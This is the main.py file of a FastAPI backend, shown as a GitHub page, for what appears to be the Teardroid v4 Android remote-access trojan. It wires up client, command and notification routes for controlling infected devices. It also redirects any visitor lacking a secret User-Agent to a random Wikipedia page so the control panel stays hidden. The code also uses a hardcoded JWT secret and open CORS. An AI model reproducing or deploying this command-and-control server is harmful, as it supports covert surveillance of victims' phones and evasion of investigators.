forked from ScRiPt1337/Teardroidv4_api
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
85 lines (66 loc) · 2.49 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse, HTMLResponse, RedirectResponse
from fastapi.middleware.cors import CORSMiddleware
from fastapi.staticfiles import StaticFiles
from pydantic import BaseModel
from fastapi_jwt_auth import AuthJWT
from fastapi_jwt_auth.exceptions import AuthJWTException
from starlette.exceptions import HTTPException as StarletteHTTPException
from routers.client import client
from routers.command import command
from routers.notification import notification
from routers.auth import auth
from config import USER_AGENT
app = FastAPI(
redoc_url=None,
docs_url=None
)
origins = ["*"]
app.include_router(client.router)
app.include_router(command.router)
app.include_router(notification.router)
app.include_router(auth.router)
auth.check_auth()
app.mount("/v4", StaticFiles(directory="build", html=True), name="build")
app.mount("/static", StaticFiles(directory="static", html=True), name="static")
app.add_middleware(
CORSMiddleware,
allow_origins=origins,
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
REDIRCT_URL = "https://en.wikipedia.org/wiki/Special:Random?action=render"
class Settings(BaseModel):
authjwt_secret_key: str = "jaihind"
async def check_agent(request: Request):
user_code = str(request.headers.get("user-agent"))
if user_code != USER_AGENT:
return True
return False
@AuthJWT.load_config
def get_config():
return Settings()
@app.exception_handler(AuthJWTException)
def authjwt_exception_handler(request: Request, exc: AuthJWTException):
return JSONResponse(status_code=exc.status_code, content={"detail": exc.message})
@app.exception_handler(StarletteHTTPException)
async def custom_http_exception_handler(request, exc):
if exc.status_code == 404:
if await check_agent(request=request):
return RedirectResponse(REDIRCT_URL)
return HTMLResponse(open("build/index.html", "rb").read())
return JSONResponse(status_code=exc.status_code, content={"detail": exc.detail})
@app.route("/v4")
async def index(request: Request):
if await check_agent(request=request):
return RedirectResponse(REDIRCT_URL)
return HTMLResponse(open("build/index.html", "rb").read())
@app.get("/")
async def root(request: Request):
if await check_agent(request=request):
return RedirectResponse(REDIRCT_URL)
return RedirectResponse("/v4/overview")
# @app.get("/version")
# async def version():
# return {"version": app.version}